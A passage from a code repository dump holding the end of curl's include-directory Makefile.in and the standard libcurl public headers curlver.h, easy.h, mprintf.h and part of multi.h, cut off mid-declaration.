dvidir = @dvidir@ 364 | exec_prefix = @exec_prefix@ 365 | host = @host@ 366 | host_alias = @host_alias@ 367 | host_cpu = @host_cpu@ 368 | host_os = @host_os@ 369 | host_vendor = @host_vendor@ 370 | htmldir = @htmldir@ 371 | includedir = @includedir@ 372 | infodir = @infodir@ 373 | install_sh = @install_sh@ 374 | libdir = @libdir@ 375 | libexecdir = @libexecdir@ 376 | libext = @libext@ 377 | localedir = @localedir@ 378 | localstatedir = @localstatedir@ 379 | mandir = @mandir@ 380 | mkdir_p = @mkdir_p@ 381 | oldincludedir = @oldincludedir@ 382 | pdfdir = @pdfdir@ 383 | prefix = @prefix@ 384 | program_transform_name = @program_transform_name@ 385 | psdir = @psdir@ 386 | runstatedir = @runstatedir@ 387 | sbindir = @sbindir@ 388 | sharedstatedir = @sharedstatedir@ 389 | srcdir = @srcdir@ 390 | subdirs = @subdirs@ 391 | sysconfdir = @sysconfdir@ 392 | target_alias = @target_alias@ 393 | top_build_prefix = @top_build_prefix@ 394 | top_builddir = @top_builddir@ 395 | top_srcdir = @top_srcdir@ 396 | 397 | #*************************************************************************** 398 | # _ _ ____ _ 399 | # Project ___| | | | _ \| | 400 | # / __| | | | |_) | | 401 | # | (__| |_| | _ <| |___ 402 | # \___|\___/|_| \_\_____| 403 | # 404 | # Copyright (C) 1998 - 2019, Daniel Stenberg, , et al. 405 | # 406 | # This software is licensed as described in the file COPYING, which 407 | # you should have received as part of this distribution. The terms 408 | # are also available at https://curl.haxx.se/docs/copyright.html. 409 | # 410 | # You may opt to use, copy, modify, merge, publish, distribute and/or sell 411 | # copies of the Software, and permit persons to whom the Software is 412 | # furnished to do so, under the terms of the COPYING file. 413 | # 414 | # This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY 415 | # KIND, either express or implied. 416 | # 417 | ########################################################################### 418 | pkginclude_HEADERS = \ 419 | curl.h curlver.h easy.h mprintf.h stdcheaders.h multi.h \ 420 | typecheck-gcc.h system.h urlapi.h 421 | 422 | CHECKSRC = $(CS_$(V)) 423 | CS_0 = @echo " RUN " $@; 424 | CS_1 = 425 | CS_ = $(CS_0) 426 | all: all-am 427 | 428 | .SUFFIXES: 429 | $(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am $(am__configure_deps) 430 | @for dep in $?; do \ 431 | case '$(am__configure_deps)' in \ 432 | *$$dep*) \ 433 | ( cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh ) \ 434 | && { if test -f $@; then exit 0; else break; fi; }; \ 435 | exit 1;; \ 436 | esac; \ 437 | done; \ 438 | echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign include/curl/Makefile'; \ 439 | $(am__cd) $(top_srcdir) && \ 440 | $(AUTOMAKE) --foreign include/curl/Makefile 441 | Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status 442 | @case '$?' in \ 443 | *config.status*) \ 444 | cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ 445 | *) \ 446 | echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__maybe_remake_depfiles)'; \ 447 | cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__maybe_remake_depfiles);; \ 448 | esac; 449 | 450 | $(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES) 451 | cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh 452 | 453 | $(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps) 454 | cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh 455 | $(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps) 456 | cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh 457 | $(am__aclocal_m4_deps): 458 | 459 | mostlyclean-libtool: 460 | -rm -f *.lo 461 | 462 | clean-libtool: 463 | -rm -rf .libs _libs 464 | install-pkgincludeHEADERS: $(pkginclude_HEADERS) 465 | @$(NORMAL_INSTALL) 466 | @list='$(pkginclude_HEADERS)'; test -n "$(pkgincludedir)" || list=; \ 467 | if test -n "$$list"; then \ 468 | echo " $(MKDIR_P) '$(DESTDIR)$(pkgincludedir)'"; \ 469 | $(MKDIR_P) "$(DESTDIR)$(pkgincludedir)" || exit 1; \ 470 | fi; \ 471 | for p in $$list; do \ 472 | if test -f "$$p"; then d=; else d="$(srcdir)/"; fi; \ 473 | echo "$$d$$p"; \ 474 | done | $(am__base_list) | \ 475 | while read files; do \ 476 | echo " $(INSTALL_HEADER) $$files '$(DESTDIR)$(pkgincludedir)'"; \ 477 | $(INSTALL_HEADER) $$files "$(DESTDIR)$(pkgincludedir)" || exit $$?; \ 478 | done 479 | 480 | uninstall-pkgincludeHEADERS: 481 | @$(NORMAL_UNINSTALL) 482 | @list='$(pkginclude_HEADERS)'; test -n "$(pkgincludedir)" || list=; \ 483 | files=`for p in $$list; do echo $$p; done | sed -e 's|^.*/||'`; \ 484 | dir='$(DESTDIR)$(pkgincludedir)'; $(am__uninstall_files_from_dir) 485 | 486 | ID: $(am__tagged_files) 487 | $(am__define_uniq_tagged_files); mkid -fID $$unique 488 | tags: tags-am 489 | TAGS: tags 490 | 491 | tags-am: $(TAGS_DEPENDENCIES) $(am__tagged_files) 492 | set x; \ 493 | here=`pwd`; \ 494 | $(am__define_uniq_tagged_files); \ 495 | shift; \ 496 | if test -z "$(ETAGS_ARGS)$$*$$unique"; then :; else \ 497 | test -n "$$unique" || unique=$$empty_fix; \ 498 | if test $$# -gt 0; then \ 499 | $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ 500 | "$$@" $$unique; \ 501 | else \ 502 | $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ 503 | $$unique; \ 504 | fi; \ 505 | fi 506 | ctags: ctags-am 507 | 508 | CTAGS: ctags 509 | ctags-am: $(TAGS_DEPENDENCIES) $(am__tagged_files) 510 | $(am__define_uniq_tagged_files); \ 511 | test -z "$(CTAGS_ARGS)$$unique" \ 512 | || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ 513 | $$unique 514 | 515 | GTAGS: 516 | here=`$(am__cd) $(top_builddir) && pwd` \ 517 | && $(am__cd) $(top_srcdir) \ 518 | && gtags -i $(GTAGS_ARGS) "$$here" 519 | cscopelist: cscopelist-am 520 | 521 | cscopelist-am: $(am__tagged_files) 522 | list='$(am__tagged_files)'; \ 523 | case "$(srcdir)" in \ 524 | [\\/]* | ?:[\\/]*) sdir="$(srcdir)" ;; \ 525 | *) sdir=$(subdir)/$(srcdir) ;; \ 526 | esac; \ 527 | for i in $$list; do \ 528 | if test -f "$$i"; then \ 529 | echo "$(subdir)/$$i"; \ 530 | else \ 531 | echo "$$sdir/$$i"; \ 532 | fi; \ 533 | done >> $(top_builddir)/cscope.files 534 | 535 | distclean-tags: 536 | -rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags 537 | 538 | distdir: $(BUILT_SOURCES) 539 | $(MAKE) $(AM_MAKEFLAGS) distdir-am 540 | 541 | distdir-am: $(DISTFILES) 542 | @srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ 543 | topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ 544 | list='$(DISTFILES)'; \ 545 | dist_files=`for file in $$list; do echo $$file; done | \ 546 | sed -e "s|^$$srcdirstrip/||;t" \ 547 | -e "s|^$$topsrcdirstrip/|$(top_builddir)/|;t"`; \ 548 | case $$dist_files in \ 549 | */*) $(MKDIR_P) `echo "$$dist_files" | \ 550 | sed '/\//!d;s|^|$(distdir)/|;s,/[^/]*$$,,' | \ 551 | sort -u` ;; \ 552 | esac; \ 553 | for file in $$dist_files; do \ 554 | if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \ 555 | if test -d $$d/$$file; then \ 556 | dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \ 557 | if test -d "$(distdir)/$$file"; then \ 558 | find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ 559 | fi; \ 560 | if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \ 561 | cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \ 562 | find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ 563 | fi; \ 564 | cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \ 565 | else \ 566 | test -f "$(distdir)/$$file" \ 567 | || cp -p $$d/$$file "$(distdir)/$$file" \ 568 | || exit 1; \ 569 | fi; \ 570 | done 571 | check-am: all-am 572 | check: check-am 573 | @CURLDEBUG_FALSE@all-local: 574 | all-am: Makefile $(HEADERS) all-local 575 | installdirs: 576 | for dir in "$(DESTDIR)$(pkgincludedir)"; do \ 577 | test -z "$$dir" || $(MKDIR_P) "$$dir"; \ 578 | done 579 | install: install-am 580 | install-exec: install-exec-am 581 | install-data: install-data-am 582 | uninstall: uninstall-am 583 | 584 | install-am: all-am 585 | @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am 586 | 587 | installcheck: installcheck-am 588 | install-strip: 589 | if test -z '$(STRIP)'; then \ 590 | $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ 591 | install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ 592 | install; \ 593 | else \ 594 | $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ 595 | install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ 596 | "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'" install; \ 597 | fi 598 | mostlyclean-generic: 599 | 600 | clean-generic: 601 | 602 | distclean-generic: 603 | -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) 604 | -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES) 605 | 606 | maintainer-clean-generic: 607 | @echo "This command is intended for maintainers to use" 608 | @echo "it deletes files that may require special tools to rebuild." 609 | clean: clean-am 610 | 611 | clean-am: clean-generic clean-libtool mostlyclean-am 612 | 613 | distclean: distclean-am 614 | -rm -f Makefile 615 | distclean-am: clean-am distclean-generic distclean-tags 616 | 617 | dvi: dvi-am 618 | 619 | dvi-am: 620 | 621 | html: html-am 622 | 623 | html-am: 624 | 625 | info: info-am 626 | 627 | info-am: 628 | 629 | install-data-am: install-pkgincludeHEADERS 630 | 631 | install-dvi: install-dvi-am 632 | 633 | install-dvi-am: 634 | 635 | install-exec-am: 636 | 637 | install-html: install-html-am 638 | 639 | install-html-am: 640 | 641 | install-info: install-info-am 642 | 643 | install-info-am: 644 | 645 | install-man: 646 | 647 | install-pdf: install-pdf-am 648 | 649 | install-pdf-am: 650 | 651 | install-ps: install-ps-am 652 | 653 | install-ps-am: 654 | 655 | installcheck-am: 656 | 657 | maintainer-clean: maintainer-clean-am 658 | -rm -f Makefile 659 | maintainer-clean-am: distclean-am maintainer-clean-generic 660 | 661 | mostlyclean: mostlyclean-am 662 | 663 | mostlyclean-am: mostlyclean-generic mostlyclean-libtool 664 | 665 | pdf: pdf-am 666 | 667 | pdf-am: 668 | 669 | ps: ps-am 670 | 671 | ps-am: 672 | 673 | uninstall-am: uninstall-pkgincludeHEADERS 674 | 675 | .MAKE: install-am install-strip 676 | 677 | .PHONY: CTAGS GTAGS TAGS all all-am all-local check check-am clean \ 678 | clean-generic clean-libtool cscopelist-am ctags ctags-am \ 679 | distclean distclean-generic distclean-libtool distclean-tags \ 680 | distdir dvi dvi-am html html-am info info-am install \ 681 | install-am install-data install-data-am install-dvi \ 682 | install-dvi-am install-exec install-exec-am install-html \ 683 | install-html-am install-info install-info-am install-man \ 684 | install-pdf install-pdf-am install-pkgincludeHEADERS \ 685 | install-ps install-ps-am install-strip installcheck \ 686 | installcheck-am installdirs maintainer-clean \ 687 | maintainer-clean-generic mostlyclean mostlyclean-generic \ 688 | mostlyclean-libtool pdf pdf-am ps ps-am tags tags-am uninstall \ 689 | uninstall-am uninstall-pkgincludeHEADERS 690 | 691 | .PRECIOUS: Makefile 692 | 693 | 694 | checksrc: 695 | $(CHECKSRC)@PERL@ $(top_srcdir)/lib/checksrc.pl -D$(top_srcdir)/include/curl $(pkginclude_HEADERS) 696 | 697 | # for debug builds, we scan the sources on all regular make invokes 698 | @CURLDEBUG_TRUE@all-local: checksrc 699 | 700 | # Tell versions [3.59,3.63) of GNU make to not export all variables. 701 | # Otherwise a system limit (for SysV at least) may be exceeded. 702 | .NOEXPORT: 703 | -------------------------------------------------------------------------------- /curl/curlver.h: -------------------------------------------------------------------------------- 1 | #ifndef CURLINC_CURLVER_H 2 | #define CURLINC_CURLVER_H 3 | /*************************************************************************** 4 | * _ _ ____ _ 5 | * Project ___| | | | _ \| | 6 | * / __| | | | |_) | | 7 | * | (__| |_| | _ <| |___ 8 | * \___|\___/|_| \_\_____| 9 | * 10 | * Copyright (C) 1998 - 2020, Daniel Stenberg, , et al. 11 | * 12 | * This software is licensed as described in the file COPYING, which 13 | * you should have received as part of this distribution. The terms 14 | * are also available at https://curl.haxx.se/docs/copyright.html. 15 | * 16 | * You may opt to use, copy, modify, merge, publish, distribute and/or sell 17 | * copies of the Software, and permit persons to whom the Software is 18 | * furnished to do so, under the terms of the COPYING file. 19 | * 20 | * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY 21 | * KIND, either express or implied. 22 | * 23 | ***************************************************************************/ 24 | 25 | /* This header file contains nothing but libcurl version info, generated by 26 | a script at release-time. This was made its own header file in 7.11.2 */ 27 | 28 | /* This is the global package copyright */ 29 | #define LIBCURL_COPYRIGHT "1996 - 2020 Daniel Stenberg, ." 30 | 31 | /* This is the version number of the libcurl package from which this header 32 | file origins: */ 33 | #define LIBCURL_VERSION "7.71.1" 34 | 35 | /* The numeric version number is also available "in parts" by using these 36 | defines: */ 37 | #define LIBCURL_VERSION_MAJOR 7 38 | #define LIBCURL_VERSION_MINOR 71 39 | #define LIBCURL_VERSION_PATCH 1 40 | 41 | /* This is the numeric version of the libcurl version number, meant for easier 42 | parsing and comparisons by programs. The LIBCURL_VERSION_NUM define will 43 | always follow this syntax: 44 | 45 | 0xXXYYZZ 46 | 47 | Where XX, YY and ZZ are the main version, release and patch numbers in 48 | hexadecimal (using 8 bits each). All three numbers are always represented 49 | using two digits. 1.2 would appear as "0x010200" while version 9.11.7 50 | appears as "0x090b07". 51 | 52 | This 6-digit (24 bits) hexadecimal number does not show pre-release number, 53 | and it is always a greater number in a more recent release. It makes 54 | comparisons with greater than and less than work. 55 | 56 | Note: This define is the full hex number and _does not_ use the 57 | CURL_VERSION_BITS() macro since curl's own configure script greps for it 58 | and needs it to contain the full number. 59 | */ 60 | #define LIBCURL_VERSION_NUM 0x074701 61 | 62 | /* 63 | * This is the date and time when the full source package was created. The 64 | * timestamp is not stored in git, as the timestamp is properly set in the 65 | * tarballs by the maketgz script. 66 | * 67 | * The format of the date follows this template: 68 | * 69 | * "2007-11-23" 70 | */ 71 | #define LIBCURL_TIMESTAMP "2020-07-01" 72 | 73 | #define CURL_VERSION_BITS(x,y,z) ((x)<<16|(y)<<8|(z)) 74 | #define CURL_AT_LEAST_VERSION(x,y,z) \ 75 | (LIBCURL_VERSION_NUM >= CURL_VERSION_BITS(x, y, z)) 76 | 77 | #endif /* CURLINC_CURLVER_H */ 78 | -------------------------------------------------------------------------------- /curl/easy.h: -------------------------------------------------------------------------------- 1 | #ifndef CURLINC_EASY_H 2 | #define CURLINC_EASY_H 3 | /*************************************************************************** 4 | * _ _ ____ _ 5 | * Project ___| | | | _ \| | 6 | * / __| | | | |_) | | 7 | * | (__| |_| | _ <| |___ 8 | * \___|\___/|_| \_\_____| 9 | * 10 | * Copyright (C) 1998 - 2020, Daniel Stenberg, , et al. 11 | * 12 | * This software is licensed as described in the file COPYING, which 13 | * you should have received as part of this distribution. The terms 14 | * are also available at https://curl.haxx.se/docs/copyright.html. 15 | * 16 | * You may opt to use, copy, modify, merge, publish, distribute and/or sell 17 | * copies of the Software, and permit persons to whom the Software is 18 | * furnished to do so, under the terms of the COPYING file. 19 | * 20 | * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY 21 | * KIND, either express or implied. 22 | * 23 | ***************************************************************************/ 24 | #ifdef __cplusplus 25 | extern "C" { 26 | #endif 27 | 28 | /* Flag bits in the curl_blob struct: */ 29 | #define CURL_BLOB_COPY 1 /* tell libcurl to copy the data */ 30 | #define CURL_BLOB_NOCOPY 0 /* tell libcurl to NOT copy the data */ 31 | 32 | struct curl_blob { 33 | void *data; 34 | size_t len; 35 | unsigned int flags; /* bit 0 is defined, the rest are reserved and should be 36 | left zeroes */ 37 | }; 38 | 39 | CURL_EXTERN CURL *curl_easy_init(void); 40 | CURL_EXTERN CURLcode curl_easy_setopt(CURL *curl, CURLoption option, ...); 41 | CURL_EXTERN CURLcode curl_easy_perform(CURL *curl); 42 | CURL_EXTERN void curl_easy_cleanup(CURL *curl); 43 | 44 | /* 45 | * NAME curl_easy_getinfo() 46 | * 47 | * DESCRIPTION 48 | * 49 | * Request internal information from the curl session with this function. The 50 | * third argument MUST be a pointer to a long, a pointer to a char * or a 51 | * pointer to a double (as the documentation describes elsewhere). The data 52 | * pointed to will be filled in accordingly and can be relied upon only if the 53 | * function returns CURLE_OK. This function is intended to get used *AFTER* a 54 | * performed transfer, all results from this function are undefined until the 55 | * transfer is completed. 56 | */ 57 | CURL_EXTERN CURLcode curl_easy_getinfo(CURL *curl, CURLINFO info, ...); 58 | 59 | 60 | /* 61 | * NAME curl_easy_duphandle() 62 | * 63 | * DESCRIPTION 64 | * 65 | * Creates a new curl session handle with the same options set for the handle 66 | * passed in. Duplicating a handle could only be a matter of cloning data and 67 | * options, internal state info and things like persistent connections cannot 68 | * be transferred. It is useful in multithreaded applications when you can run 69 | * curl_easy_duphandle() for each new thread to avoid a series of identical 70 | * curl_easy_setopt() invokes in every thread. 71 | */ 72 | CURL_EXTERN CURL *curl_easy_duphandle(CURL *curl); 73 | 74 | /* 75 | * NAME curl_easy_reset() 76 | * 77 | * DESCRIPTION 78 | * 79 | * Re-initializes a CURL handle to the default values. This puts back the 80 | * handle to the same state as it was in when it was just created. 81 | * 82 | * It does keep: live connections, the Session ID cache, the DNS cache and the 83 | * cookies. 84 | */ 85 | CURL_EXTERN void curl_easy_reset(CURL *curl); 86 | 87 | /* 88 | * NAME curl_easy_recv() 89 | * 90 | * DESCRIPTION 91 | * 92 | * Receives data from the connected socket. Use after successful 93 | * curl_easy_perform() with CURLOPT_CONNECT_ONLY option. 94 | */ 95 | CURL_EXTERN CURLcode curl_easy_recv(CURL *curl, void *buffer, size_t buflen, 96 | size_t *n); 97 | 98 | /* 99 | * NAME curl_easy_send() 100 | * 101 | * DESCRIPTION 102 | * 103 | * Sends data over the connected socket. Use after successful 104 | * curl_easy_perform() with CURLOPT_CONNECT_ONLY option. 105 | */ 106 | CURL_EXTERN CURLcode curl_easy_send(CURL *curl, const void *buffer, 107 | size_t buflen, size_t *n); 108 | 109 | 110 | /* 111 | * NAME curl_easy_upkeep() 112 | * 113 | * DESCRIPTION 114 | * 115 | * Performs connection upkeep for the given session handle. 116 | */ 117 | CURL_EXTERN CURLcode curl_easy_upkeep(CURL *curl); 118 | 119 | #ifdef __cplusplus 120 | } 121 | #endif 122 | 123 | #endif 124 | -------------------------------------------------------------------------------- /curl/libcurl.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alcatrazsolution/keyauth-imgui-loader/3ccd3b929a2629ab1b08bd3ecb2b808d0b1086a8/curl/libcurl.lib -------------------------------------------------------------------------------- /curl/mprintf.h: -------------------------------------------------------------------------------- 1 | #ifndef CURLINC_MPRINTF_H 2 | #define CURLINC_MPRINTF_H 3 | /*************************************************************************** 4 | * _ _ ____ _ 5 | * Project ___| | | | _ \| | 6 | * / __| | | | |_) | | 7 | * | (__| |_| | _ <| |___ 8 | * \___|\___/|_| \_\_____| 9 | * 10 | * Copyright (C) 1998 - 2019, Daniel Stenberg, , et al. 11 | * 12 | * This software is licensed as described in the file COPYING, which 13 | * you should have received as part of this distribution. The terms 14 | * are also available at https://curl.haxx.se/docs/copyright.html. 15 | * 16 | * You may opt to use, copy, modify, merge, publish, distribute and/or sell 17 | * copies of the Software, and permit persons to whom the Software is 18 | * furnished to do so, under the terms of the COPYING file. 19 | * 20 | * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY 21 | * KIND, either express or implied. 22 | * 23 | ***************************************************************************/ 24 | 25 | #include 26 | #include /* needed for FILE */ 27 | #include "curl.h" /* for CURL_EXTERN */ 28 | 29 | #ifdef __cplusplus 30 | extern "C" { 31 | #endif 32 | 33 | CURL_EXTERN int curl_mprintf(const char *format, ...); 34 | CURL_EXTERN int curl_mfprintf(FILE *fd, const char *format, ...); 35 | CURL_EXTERN int curl_msprintf(char *buffer, const char *format, ...); 36 | CURL_EXTERN int curl_msnprintf(char *buffer, size_t maxlength, 37 | const char *format, ...); 38 | CURL_EXTERN int curl_mvprintf(const char *format, va_list args); 39 | CURL_EXTERN int curl_mvfprintf(FILE *fd, const char *format, va_list args); 40 | CURL_EXTERN int curl_mvsprintf(char *buffer, const char *format, va_list args); 41 | CURL_EXTERN int curl_mvsnprintf(char *buffer, size_t maxlength, 42 | const char *format, va_list args); 43 | CURL_EXTERN char *curl_maprintf(const char *format, ...); 44 | CURL_EXTERN char *curl_mvaprintf(const char *format, va_list args); 45 | 46 | #ifdef __cplusplus 47 | } 48 | #endif 49 | 50 | #endif /* CURLINC_MPRINTF_H */ 51 | -------------------------------------------------------------------------------- /curl/multi.h: -------------------------------------------------------------------------------- 1 | #ifndef CURLINC_MULTI_H 2 | #define CURLINC_MULTI_H 3 | /*************************************************************************** 4 | * _ _ ____ _ 5 | * Project ___| | | | _ \| | 6 | * / __| | | | |_) | | 7 | * | (__| |_| | _ <| |___ 8 | * \___|\___/|_| \_\_____| 9 | * 10 | * Copyright (C) 1998 - 2020, Daniel Stenberg, , et al. 11 | * 12 | * This software is licensed as described in the file COPYING, which 13 | * you should have received as part of this distribution. The terms 14 | * are also available at https://curl.haxx.se/docs/copyright.html. 15 | * 16 | * You may opt to use, copy, modify, merge, publish, distribute and/or sell 17 | * copies of the Software, and permit persons to whom the Software is 18 | * furnished to do so, under the terms of the COPYING file. 19 | * 20 | * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY 21 | * KIND, either express or implied. 22 | * 23 | ***************************************************************************/ 24 | /* 25 | This is an "external" header file. Don't give away any internals here! 26 | 27 | GOALS 28 | 29 | o Enable a "pull" interface. The application that uses libcurl decides where 30 | and when to ask libcurl to get/send data. 31 | 32 | o Enable multiple simultaneous transfers in the same thread without making it 33 | complicated for the application. 34 | 35 | o Enable the application to select() on its own file descriptors and curl's 36 | file descriptors simultaneous easily. 37 | 38 | */ 39 | 40 | /* 41 | * This header file should not really need to include "curl.h" since curl.h 42 | * itself includes this file and we expect user applications to do #include 43 | * without the need for especially including multi.h. 44 | * 45 | * For some reason we added this include here at one point, and rather than to 46 | * break existing (wrongly written) libcurl applications, we leave it as-is 47 | * but with this warning attached. 48 | */ 49 | #include "curl.h" 50 | 51 | #ifdef __cplusplus 52 | extern "C" { 53 | #endif 54 | 55 | #if defined(BUILDING_LIBCURL) || defined(CURL_STRICTER) 56 | typedef struct Curl_multi CURLM; 57 | #else 58 | typedef void CURLM; 59 | #endif 60 | 61 | typedef enum { 62 | CURLM_CALL_MULTI_PERFORM = -1, /* please call curl_multi_perform() or 63 | curl_multi_socket*() soon */ 64 | CURLM_OK, 65 | CURLM_BAD_HANDLE, /* the passed-in handle is not a valid CURLM handle */ 66 | CURLM_BAD_EASY_HANDLE, /* an easy handle was not good/valid */ 67 | CURLM_OUT_OF_MEMORY, /* if you ever get this, you're in deep sh*t */ 68 | CURLM_INTERNAL_ERROR, /* this is a libcurl bug */ 69 | CURLM_BAD_SOCKET, /* the passed in socket argument did not match */ 70 | CURLM_UNKNOWN_OPTION, /* curl_multi_setopt() with unsupported option */ 71 | CURLM_ADDED_ALREADY, /* an easy handle already added to a multi handle was 72 | attempted to get added - again */ 73 | CURLM_RECURSIVE_API_CALL, /* an api function was called from inside a 74 | callback */ 75 | CURLM_WAKEUP_FAILURE, /* wakeup is unavailable or failed */ 76 | CURLM_BAD_FUNCTION_ARGUMENT, /* function called with a bad parameter */ 77 | CURLM_LAST 78 | } CURLMcode; 79 | 80 | /* just to make code nicer when using curl_multi_socket() you can now check 81 | for CURLM_CALL_MULTI_SOCKET too in the same style it works for 82 | curl_multi_perform() and CURLM_CALL_MULTI_PERFORM */ 83 | #define CURLM_CALL_MULTI_SOCKET CURLM_CALL_MULTI_PERFORM 84 | 85 | /* bitmask bits for CURLMOPT_PIPELINING */ 86 | #define CURLPIPE_NOTHING 0L 87 | #define CURLPIPE_HTTP1 1L 88 | #define CURLPIPE_MULTIPLEX 2L 89 | 90 | typedef enum { 91 | CURLMSG_NONE, /* first, not used */ 92 | CURLMSG_DONE, /* This easy handle has completed. 'result' contains 93 | the CURLcode of the transfer */ 94 | CURLMSG_LAST /* last, not used */ 95 | } CURLMSG; 96 | 97 | struct CURLMsg { 98 | CURLMSG msg; /* what this message means */ 99 | CURL *easy_handle; /* the handle it concerns */ 100 | union { 101 | void *whatever; /* message-specific data */ 102 | CURLcode result; /* return code for transfer */ 103 | } data; 104 | }; 105 | typedef struct CURLMsg CURLMsg; 106 | 107 | /* Based on poll(2) structure and values. 108 | * We don't use pollfd and POLL* constants explicitly 109 | * to cover platforms without poll(). */ 110 | #define CURL_WAIT_POLLIN 0x0001 111 | #define CURL_WAIT_POLLPRI 0x0002 112 | #define CURL_WAIT_POLLOUT 0x0004 113 | 114 | struct curl_waitfd { 115 | curl_socket_t fd; 116 | short events; 117 | short revents; /* not supported yet */ 118 | }; 119 | 120 | /* 121 | * Name: curl_multi_init() 122 | * 123 | * Desc: inititalize multi-style curl usage 124 | * 125 | * Returns: a new CURLM handle to use in all 'curl_multi' functions. 126 | */ 127 | CURL_EXTERN CURLM *curl_multi_init(void); 128 | 129 | /* 130 | * Name: curl_multi_add_handle() 131 | * 132 | * Desc: add a standard curl handle to the multi stack 133 | * 134 | * Returns: CURLMcode type, general multi error code. 135 | */ 136 | CURL_EXTERN CURLMcode curl_multi_add_handle(CURLM *multi_handle, 137 | CURL *curl_handle); 138 | 139 | /* 140 | * Name: curl_multi_remove_handle() 141 | * 142 | * Desc: removes a curl handle from the multi stack again 143 | * 144 | * Returns: CURLMcode type, general multi error code. 145 | */ 146 | CURL_EXTERN CURLMcode curl_multi_remove_handle(CURLM *multi_handle, 147 | CURL *curl_handle); 148 | 149 | /* 150 | * Name: curl_multi_fdset() 151 | * 152 | * Desc: Ask curl for its fd_set sets. The app can use these to select() or 153 | * poll() on. We want curl_multi_perform() called as soon as one of 154 | * them are ready. 155 | * 156 | * Returns: CURLMcode type, general multi error code. 157 | */ 158 | CURL_EXTERN CURLMcode curl_multi_fdset(CURLM *multi_handle, 159 | fd_set *read_fd_set, 160 | fd_set *write_fd_set, 161 | fd_set *exc_fd_set, 162 | int *max_fd); 163 | 164 | /* 165 | * Name: curl_multi_wait() 166 | * 167 | * Desc: Poll on all fds within a CURLM set as well as any 168 | * additional fds passed to the function. 169 | * 170 | * Returns: CURLMcode type, general multi error code. 171 | */ 172 | CURL_EXTERN CURLMcode curl_multi_wait(CURLM *multi_handle, 173 | struct curl_waitfd extra_fds[], 174 | unsigned int extra_nfds, 175 | int timeout_ms, 176 | int *ret); 177 | 178 | /* 179 | * Name: curl_multi_poll() 180 | * 181 | * Desc: Poll on all fds within a CURLM set as well as any 182 | * additional fds passed to the function. 183 | * 184 | * Returns: CURLMcode type, general multi error code. 185 | */ 186 | CURL_EXTERN CURLMcode curl_multi_poll(CURLM *multi_handle, 187 | struct curl_waitfd extra_fds[], 188 | unsigned int extra_nfds, 189 | int timeout_ms, 190 | int *ret); 191 | 192 | /* 193 | * Name: curl_multi_wakeup() 194 | * 195 | * Desc: wakes up a sleeping curl_multi_poll call. 196 | * 197 | * Returns: CURLMcode type, general multi error code. 198 | */ 199 | CURL_EXTERN CURLMcode curl_multi_wakeup(CURLM *multi_handle); 200 | 201 | /* 202 | * Name: curl_multi_perform() 203 | * 204 | * Desc: When the app thinks there's data available for curl it calls this 205 | * function to read/write whatever there is right now. This returns 206 | * as soon as the reads and writes are done. This function does not 207 | * require that there actually is data available for reading or that 208 | * data can be written, it can be called just in case. It returns 209 | * the number of handles that still transfer data in the second 210 | * argument's integer-pointer. 211 | * 212 | * Returns: CURLMcode type, general multi error code. *NOTE* that this only 213 | * returns errors etc regarding the whole multi stack. There might 214 | * still have occurred problems on individual transfers even when 215 | * this returns OK. 216 | */ 217 | CURL_EXTERN CURLMcode curl_multi_perform(CURLM *multi_handle, 218 | int *running_handles); 219 | 220 | /* 221 | * Name: curl_multi_cleanup() 222 | * 223 | * Desc: Cleans up and removes a whole multi stack. It does not free or 224 | * touch any individual easy handles in any way. We need to define 225 | * in what state those handles will be if this function is called 226 | * in the middle of a transfer. 227 | * 228 | * Returns: CURLMcode type, general multi error code. 229 | */ 230 | CURL_EXTERN 